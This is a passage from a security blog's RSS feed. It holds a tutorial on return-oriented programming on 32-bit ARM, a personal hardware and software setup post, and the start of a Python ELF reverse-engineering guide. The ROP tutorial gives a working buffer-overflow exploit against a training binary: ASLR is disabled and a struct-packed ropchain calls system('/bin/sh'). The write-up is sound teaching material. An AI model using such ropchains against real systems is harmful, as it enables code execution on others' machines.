1252<p>Thanks to Ilja Shaposhnikov (@drakylar). <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
1253</li>
1254
1255<li id="fn-3">
1256<p><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf">PDF</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
1257</li>
1258</ol>
1259</div>
1260]]></description><link>https://icyphox.sh/blog/fb50</link><pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/fb50</guid></item><item><title>Return Oriented Programming on ARM (32-bit)</title><description><![CDATA[<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM
1261assembly to follow along. I highly recommend
1262<a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly
1263Basics</a>. Once you’re
1264comfortable with it, proceed with the next bit — environment setup.</p>
1265
1266<h3 id="setup">Setup</h3>
1267
1268<p>Since we’re working with the ARM architecture, there are two options to go
1269forth with: </p>
1270
1271<ol>
1272<li>Emulate — head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU.
1273And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>.
1274The scripts found inside should be self-explanatory.</li>
1275<li>Use actual ARM hardware, like an RPi.</li>
1276</ol>
1277
1278<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you
1279may use <code>radare2</code>, IDA or anything else, really. All of which can be
1280trivially installed.</p>
1281
1282<p>And for the sake of simplicity, disable ASLR:</p>
1283
1284<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> > /proc/sys/kernel/randomize_va_space
1285</code></pre></div>
1286
1287<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a>
1288<a href="/static/files/roplevel2.c">roplevel2</a>. </p>
1289
1290<p>Compile it:</p>
1291
1292<div class="codehilite"><pre><span></span><code>$ gcc roplevel2.c -o rop2
1293</code></pre></div>
1294
1295<p>With that out of the way, here’s a quick run down of what ROP actually is.</p>
1296
1297<h3 id="a-primer-on-rop">A primer on ROP</h3>
1298
1299<p>ROP or Return Oriented Programming is a modern exploitation technique that’s
1300used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>.
1301In essence, no code in the binary is actually modified and the entire exploit
1302is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p>
1303
1304<p>A gadget is essentially a small sequence of code (instructions), ending with
1305a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM
1306code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>.
1307These gadgets are <em>chained</em> together by jumping (returning) from one onto the other
1308to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain,
1309there’s generally a call to <code>system()</code>, to acheive code execution.</p>
1310
1311<p>In practice, the process of executing a ropchain is something like this:</p>
1312
1313<ul>
1314<li>confirm the existence of a stack-based buffer overflow</li>
1315<li>identify the offset at which the instruction pointer gets overwritten</li>
1316<li>locate the addresses of the gadgets you wish to use</li>
1317<li>craft your input keeping in mind the stack’s layout, and chain the addresses
1318of your gadgets</li>
1319</ul>
1320
1321<p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&index=46&t=0s">beautiful video</a> where he explains ROP using “weird machines”.
1322Check it out, it might be just what you needed for that “aha!” moment :)</p>
1323
1324<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully
1325that should put things into perspective.</p>
1326
1327<h3 id="exploring-our-binary">Exploring our binary</h3>
1328
1329<p>Start by running it, and entering any arbitrary string. On entering a fairly
1330large string, say, “A” × 20, we
1331see a segmentation fault occur.</p>
1332
1333<p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p>
1334
1335<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p>
1336
1337<p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p>
1338
1339<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and
1340<code>gadget</code>. Disassembling the <code>main</code> function:</p>
1341
1342<p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p>
1343
1344<p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls
1345to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are
1346never actually called.</p>
1347
1348<p>Disassembling the <code>gadget</code> function:</p>
1349
1350<p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p>
1351
1352<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>,
1353which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code>
1354instruction in the middle. This is a <strong>gadget</strong>.</p>
1355
1356<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where
1357arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code>
1358are used for this. So this gadget effectively allows us to pass arguments to
1359functions using <code>r0</code>, and subsequently jumping to them by passing its address
1360in <code>pc</code>. Neat.</p>
1361
1362<p>Moving on to the disassembly of the <code>winner</code> function:</p>
1363
1364<p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p>
1365
1366<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>.
1367So our end goal here is to, quite obviously, execute code via the <code>system()</code>
1368function.</p>
1369
1370<p>Now that we have an overview of what’s in the binary, let’s formulate a method
1371of exploitation by messing around with inputs.</p>
1372
1373<h3 id="messing-around-with-inputs">Messing around with inputs :^)</h3>
1374
1375<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the
1376screenshot.</p>
1377
1378<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p>
1379
1380<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice
1381the <code>pc</code> has been overwritten with our input.
1382So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p>
1383
1384<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
1385control program execution flow. Let’s try jumping to the <code>winner</code> function.</p>
1386
1387<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset
1388of the second instruction — <code>add r11, sp, #4</code>.
1389For this, we’ll use Python to print our input string replacing <code>FFFF</code> with
1390the address of <code>winner</code>. Note the endianness.</p>
1391
1392<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")'</span> <span class="p">|</span> ./rop2
1393</code></pre></div>
1394
1395<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>
1396
1397<p>The reason we don’t jump to the first instruction is because we want to control the stack
1398ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code>
1399those out after <code>winner</code> is done executing and we will no longer control
1400where it jumps to.</p>
1401
1402<p>So that didn’t do much, just prints out a string “Nothing much here…”.
1403But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument
1404to do what we want (run a command, execute a shell, etc.).</p>
1405
1406<p>To do that, we’ll follow a multi-step process: </p>
1407
1408<ol>
1409<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li>
1410<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into
1411<code>r0</code>.</li>
1412<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li>
1413</ol>
1414
1415<p>The pseudo-code is something like this:</p>
1416
1417<pre><code>string = AAAABBBBCCCCDDDDEEEE
1418gadget = # addr of gadget
1419binsh = # addr of /bin/sh
1420system = # addr of system()
1421
1422print(string + gadget + binsh + system)
1423</code></pre>
1424
1425<p>Clean and mean.</p>
1426
1427<h3 id="the-exploit">The exploit</h3>
1428
1429<p>To write the exploit, we’ll use Python and the absolute godsend of a library — <code>struct</code>.
1430It allows us to pack the bytes of addresses to the endianness of our choice.
1431It probably does a lot more, but who cares.</p>
1432
1433<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint
1434at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p>
1435
1436<pre><code>(gdb) find &system, +9999999, "/bin/sh"
1437</code></pre>
1438
1439<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p>
1440
1441<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be
1442found from the disassmblies from earlier. Here’s the final exploit code:</p>
1443
1444<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span>
1445
1446<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span>
1447<span class="n">string</span> <span class="o">=</span> <span class="s2">"AAAABBBBCCCCDDDDEEEE"</span>
1448<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span>
1449<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span>
1450
1451<span class="k">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system</span><span class="p">)</span>
1452</code></pre></div>
1453
1454<p>Honestly, not too far off from our pseudo-code :)</p>
1455
1456<p>Let’s see it in action:</p>
1457
1458<p><img src="/static/img/the_shell.png" alt="the shell!" /></p>
1459
1460<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates
1461when the pipe closes, since there’s no input coming in from STDIN.
1462To get around this, we use <code>cat(1)</code> which allows us to relay input through it
1463to the shell. Nifty trick.</p>
1464
1465<h3 id="conclusion">Conclusion</h3>
1466
1467<p>This was a fairly basic challenge, with everything laid out conveniently.
1468Actual ropchaining is a little more involved, with a lot more gadgets to be chained
1469to acheive code execution.</p>
1470
1471<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p>
1472]]></description><link>https://icyphox.sh/blog/rop-on-arm</link><pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/rop-on-arm</guid></item><item><title>My Setup</title><description><![CDATA[<h3 id="hardware">Hardware</h3>
1473
1474<p>The only computer I have with me is my <a href="https://store.hp.com/us/en/mdp/laptops/envy-13">HP Envy 13 (2018)</a> (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u,
14758 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.</p>
1476
1477<p>For my phone, I use a <a href="https://www.oneplus.in/6t">OnePlus 6T</a>, running stock <a href="https://www.oneplus.in/oxygenos">OxygenOS</a>. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted.
1478I’m also a proud owner of a <a href="https://en.wikipedia.org/wiki/Nexus_5">Nexus 5</a>, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.</p>
1479
1480<p>My watch is a <a href="https://www.samsung.com/in/wearables/gear-s3-frontier-r760/">Samsung Gear S3 Frontier</a>. Tizen is definitely better than Android Wear.</p>
1481
1482<p>My keyboard, although not with me in college, is a very old <a href="https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO">Dell SK-8110</a>.
1483For the little bit of gaming that I do, I use a <a href="https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html">HP m150</a> gaming mouse. It’s the perfect size (and color).</p>
1484
1485<p>For my music, I use the <a href="https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html">Bose SoundLink II</a>.
1486Great pair of headphones, although the ear cups need replacing.</p>
1487
1488<h3 id="and-the-software">And the software</h3>
1489
1490<p><del>My distro of choice for the past ~1 year has been <a href="https://elementary.io">elementary OS</a>. I used to be an Arch Linux elitist, complete with an esoteric
1491window manager, all riced. I now use whatever JustWorks™.</del></p>
1492
1493<p><strong>Update</strong>: As of June 2019, I’ve switched over to a vanilla Debian 9 Stretch install,
1494running <a href="https://i3wm.org">i3</a> as my window manager. If you want, you can dig through my configs at my <a href="https://github.com/icyphox/dotfiles">dotfiles</a> repo. </p>
1495
1496<p>Here’s a (riced) screenshot of my desktop. </p>
1497
1498<p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p>
1499
1500<p>Most of my work is done in either the browser, or the terminal.
1501My shell is pure <a href="http://www.zsh.org">zsh</a>, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need
1502a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org">Nim</a> — <a href="https://github.com/icyphox/nicy">nicy</a>.
1503My primary text editor is <a href="https://neovim.org">nvim</a>. Again, all configs in my dotfiles repo linked above.
1504I manage all my passwords using <a href="https://passwordstore.org">pass(1)</a>, and I use <a href="https://github.com/carnager/rofi-pass">rofi-pass</a> to access them via <code>rofi</code>.</p>
1505
1506<p>Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace
1507clean and a single command to drop into a Kali shell.</p>
1508
1509<p>I use a DigitalOcean droplet (BLR1) as a public filehost, found at <a href="https://x.icyphox.sh">x.icyphox.sh</a>. The UI is the wonderful <a href="https://github.com/zeit/serve">serve</a>, by <a href="https://zeit.co">ZEIT</a>.
1510The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. </p>
1511
1512<p>I plan on converting my desktop back at home into a homeserver setup. Soon™.</p>
1513]]></description><link>https://icyphox.sh/blog/my-setup</link><pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/my-setup</guid></item><item><title>Python for Reverse Engineering #1: ELF Binaries</title><description><![CDATA[<p>While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.</p>
1514
1515<p>Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.</p>
1516
1517<h3 id="setup">Setup</h3>
1518
1519<p>As the title suggests, you’re going to need a Python 3 interpreter before
1520anything else. Once you’ve confirmed beyond reasonable doubt that you do,
1521in fact, have a Python 3 interpreter installed on your system, run</p>
1522
1523<div class="codehilite"><pre><span></span><code><span class="gp">$</span> pip install capstone pyelftools
1524</code></pre></div>
1525
1526<p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p>
1527
1528<p>With that out of the way, let’s start with an example of a basic reversing
1529challenge.</p>
1530
1531<div class="codehilite"><pre><span></span><code><span class="cm">/* chall.c */</span>
1532
1533<span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp"></span>
1534<span class="cp">#include</span> <span class="cpf"><stdlib.h></span><span class="cp"></span>
1535<span class="cp">#include</span> <span class="cpf"><string.h></span><span class="cp"></span>
1536
1537<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
1538 <span class="kt">char</span> <span class="o">*</span><span class="n">pw</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">9</span><span class="p">);</span>
1539 <span class="n">pw</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'a'</span><span class="p">;</span>
1540 <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o"><=</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
1541 <span class="n">pw</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">pw</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
1542 <span class="p">}</span>
1543 <span class="n">pw</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
1544 <span class="kt">char</span> <span class="o">*</span><span class="n">in</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
1545 <span class="n">printf</span><span class="p">(</span><span class="s">"password: "</span><span class="p">);</span>
1546 <span class="n">fgets</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span> <span class="c1">// 'abcdefghi'</span>
1547 <span class="k">if</span><span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="n">pw</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
1548 <span class="n">printf</span><span class="p">(</span><span class="s">"haha yes!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
1549 <span class="p">}</span>
1550 <span class="k">else</span> <span class="p">{</span>
1551 <span class="n">printf</span><span class="p">(</span><span class="s">"nah dude</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
1552 <span class="p">}</span>
1553<span class="p">}</span>
1554</code></pre></div>
1555
1556<p>Compile it with GCC/Clang:</p>
1557
1558<div class="codehilite"><pre><span></span><code><span class="gp">$</span> gcc chall.c -o chall.elf
1559</code></pre></div>
1560
1561<h3 id="scripting">Scripting</h3>
1562
1563<p>For starters, let’s look at the different sections present in the binary.</p>
1564
1565<div class="codehilite"><pre><span></span><code><span class="c1"># sections.py</span>
1566
1567<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1568
1569<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./chall.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1570 <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1571 <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
1572 <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">'sh_addr'</span><span class="p">]),</span> <span class="n">section</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
1573</code></pre></div>
1574
1575<p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p>
1576
1577<div class="codehilite"><pre><span></span><code><span class="go">› python sections.py</span>
1578<span class="go">0x238 .interp</span>
1579<span class="go">0x254 .note.ABI-tag</span>
1580<span class="go">0x274 .note.gnu.build-id</span>
1581<span class="go">0x298 .gnu.hash</span>
1582<span class="go">0x2c0 .dynsym</span>
1583<span class="go">0x3e0 .dynstr</span>
1584<span class="go">0x484 .gnu.version</span>
1585<span class="go">0x4a0 .gnu.version_r</span>
1586<span class="go">0x4c0 .rela.dyn</span>
1587<span class="go">0x598 .rela.plt</span>
1588<span class="go">0x610 .init</span>
1589<span class="go">0x630 .plt</span>
1590<span class="go">0x690 .plt.got</span>
1591<span class="go">0x6a0 .text</span>
1592<span class="go">0x8f4 .fini</span>
1593<span class="go">0x900 .rodata</span>
1594<span class="go">0x924 .eh_frame_hdr</span>
1595<span class="go">0x960 .eh_frame</span>
1596<span class="go">0x200d98 .init_array</span>
1597<span class="go">0x200da0 .fini_array</span>
1598<span class="go">0x200da8 .dynamic</span>
1599<span class="go">0x200f98 .got</span>
1600<span class="go">0x201000 .data</span>
1601<span class="go">0x201010 .bss</span>
1602<span class="go">0x0 .comment</span>
1603<span class="go">0x0 .symtab</span>
1604<span class="go">0x0 .strtab</span>
1605<span class="go">0x0 .shstrtab</span>
1606</code></pre></div>
1607
1608<p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p>
1609
1610<p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p>
1611
1612<div class="codehilite"><pre><span></span><code><span class="c1"># disas1.py</span>
1613
1614<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1615<span class="kn">from</span> <span class="nn">capstone</span> <span class="kn">import</span> <span class="o">*</span>
1616
1617<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./bin.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1618 <span class="n">elf</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1619 <span class="n">code</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">get_section_by_name</span><span class="p">(</span><span class="s1">'.text'</span><span class="p">)</span>
1620 <span class="n">ops</span> <span class="o">=</span> <span class="n">code</span><span class="o">.</span><span class="n">data</span><span class="p">()</span>
1621 <span class="n">addr</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="s1">'sh_addr'</span><span class="p">]</span>
1622 <span class="n">md</span> <span class="o">=</span> <span class="n">Cs</span><span class="p">(</span><span class="n">CS_ARCH_X86</span><span class="p">,</span> <span class="n">CS_MODE_64</span><span class="p">)</span>
1623 <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">md</span><span class="o">.</span><span class="n">disasm</span><span class="p">(</span><span class="n">ops</span><span class="p">,</span> <span class="n">addr</span><span class="p">):</span>
1624 <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'0x{i.address:x}:</span><span class="se">\t</span><span class="s1">{i.mnemonic}</span><span class="se">\t</span><span class="s1">{i.op_str}'</span><span class="p">)</span>
1625</code></pre></div>
1626
1627<p>The code is fairly straightforward (I think). We should be seeing this, on running</p>
1628
1629<div class="codehilite"><pre><span></span><code><span class="go">› python disas1.py | less </span>
1630<span class="go">0x6a0: xor ebp, ebp</span>
1631<span class="go">0x6a2: mov r9, rdx</span>
1632<span class="go">0x6a5: pop rsi</span>
1633<span class="go">0x6a6: mov rdx, rsp</span>
1634<span class="go">0x6a9: and rsp, 0xfffffffffffffff0</span>
1635<span class="go">0x6ad: push rax</span>
1636<span class="go">0x6ae: push rsp</span>
1637<span class="go">0x6af: lea r8, [rip + 0x23a]</span>
1638<span class="go">0x6b6: lea rcx, [rip + 0x1c3]</span>
1639<span class="go">0x6bd: lea rdi, [rip + 0xe6]</span>
1640<span class="go">**0x6c4: call qword ptr [rip + 0x200916]**</span>
1641<span class="go">0x6ca: hlt</span>
1642<span class="go">... snip ...</span>
1643</code></pre></div>
1644
1645<p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p>
1646
1647<p>For this, we will have to look at <strong>relocations</strong>. Quoting <a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html">linuxbase.org</a></p>
1648
1649<blockquote>
1650 <p>Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.</p>
1651</blockquote>
1652
1653<p>To try and find these relocation entries, we write a third script.</p>
1654
1655<div class="codehilite"><pre><span></span><code><span class="c1"># relocations.py</span>
1656
1657<span class="kn">import</span> <span class="nn">sys</span>
1658<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1659<span class="kn">from</span> <span class="nn">elftools.elf.relocation</span> <span class="kn">import</span> <span class="n">RelocationSection</span>
1660
1661<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./chall.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1662 <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1663 <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
1664 <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">section</span><span class="p">,</span> <span class="n">RelocationSection</span><span class="p">):</span>
1665 <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'{section.name}:'</span><span class="p">)</span>
1666 <span class="n">symbol_table</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">get_section</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">'sh_link'</span><span class="p">])</span>
1667 <span class="k">for</span> <span class="n">relocation</span> <span class="ow">in</span> <span class="n">section</span><span class="o">.</span><span class="n">iter_relocations</span><span class="p">():</span>
1668 <span class="n">symbol</span> <span class="o">=</span> <span class="n">symbol_table</span><span class="o">.</span><span class="n">get_symbol</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">'r_info_sym'</span><span class="p">])</span>
1669 <span class="n">addr</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">'r_offset'</span><span class="p">])</span>
1670 <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'{symbol.name} {addr}'</span><span class="p">)</span>
1671</code></pre></div>
1672
1673<p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p>
1674
1675<div class="codehilite"><pre><span></span><code><span class="go">› python relocations.py</span>
1676<span class="go">.rela.dyn:</span>
1677<span class="go"> 0x200d98</span>
1678<span class="go"> 0x200da0</span>
1679<span class="go"> 0x201008</span>
1680<span class="go">_ITM_deregisterTMCloneTable 0x200fd8</span>
1681<span class="go">**__libc_start_main 0x200fe0**</span>
1682<span class="go">__gmon_start__ 0x200fe8</span>
1683<span class="go">_ITM_registerTMCloneTable 0x200ff0</span>
1684<span class="go">__cxa_finalize 0x200ff8</span>
1685<span class="go">stdin 0x201010</span>
1686<span class="go">.rela.plt:</span>
1687<span class="go">puts 0x200fb0</span>
1688<span class="go">printf 0x200fb8</span>
1689<span class="go">fgets 0x200fc0</span>
1690<span class="go">strcmp 0x200fc8</span>
1691<span class="go">malloc 0x200fd0</span>
1692</code></pre></div>
1693
1694<p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib—libc-start-main-.html">linuxbase.org</a></p>
1695
1696<blockquote>
1697 <p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p>
1698</blockquote>
1699
1700<p>And its definition is like so</p>
1701
1702<div class="codehilite"><pre><span></span><code><span class="kt">int</span> <span class="nf">__libc_start_main</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">),</span>
1703<span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span> <span class="n">ubp_av</span><span class="p">,</span>
1704<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">init</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
1705<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
1706<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">rtld_fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
1707<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">stack_end</span><span class="p">));</span>
1708</code></pre></div>
1709
1710<p>Looking back at our disassembly</p>
1711
1712<pre><code>0x6a0: xor ebp, ebp
17130x6a2: mov r9, rdx
17140x6a5: pop rsi
17150x6a6: mov rdx, rsp
17160x6a9: and rsp, 0xfffffffffffffff0
17170x6ad: push rax
17180x6ae: push rsp
17190x6af: lea r8, [rip + 0x23a]
17200x6b6: lea rcx, [rip + 0x1c3]
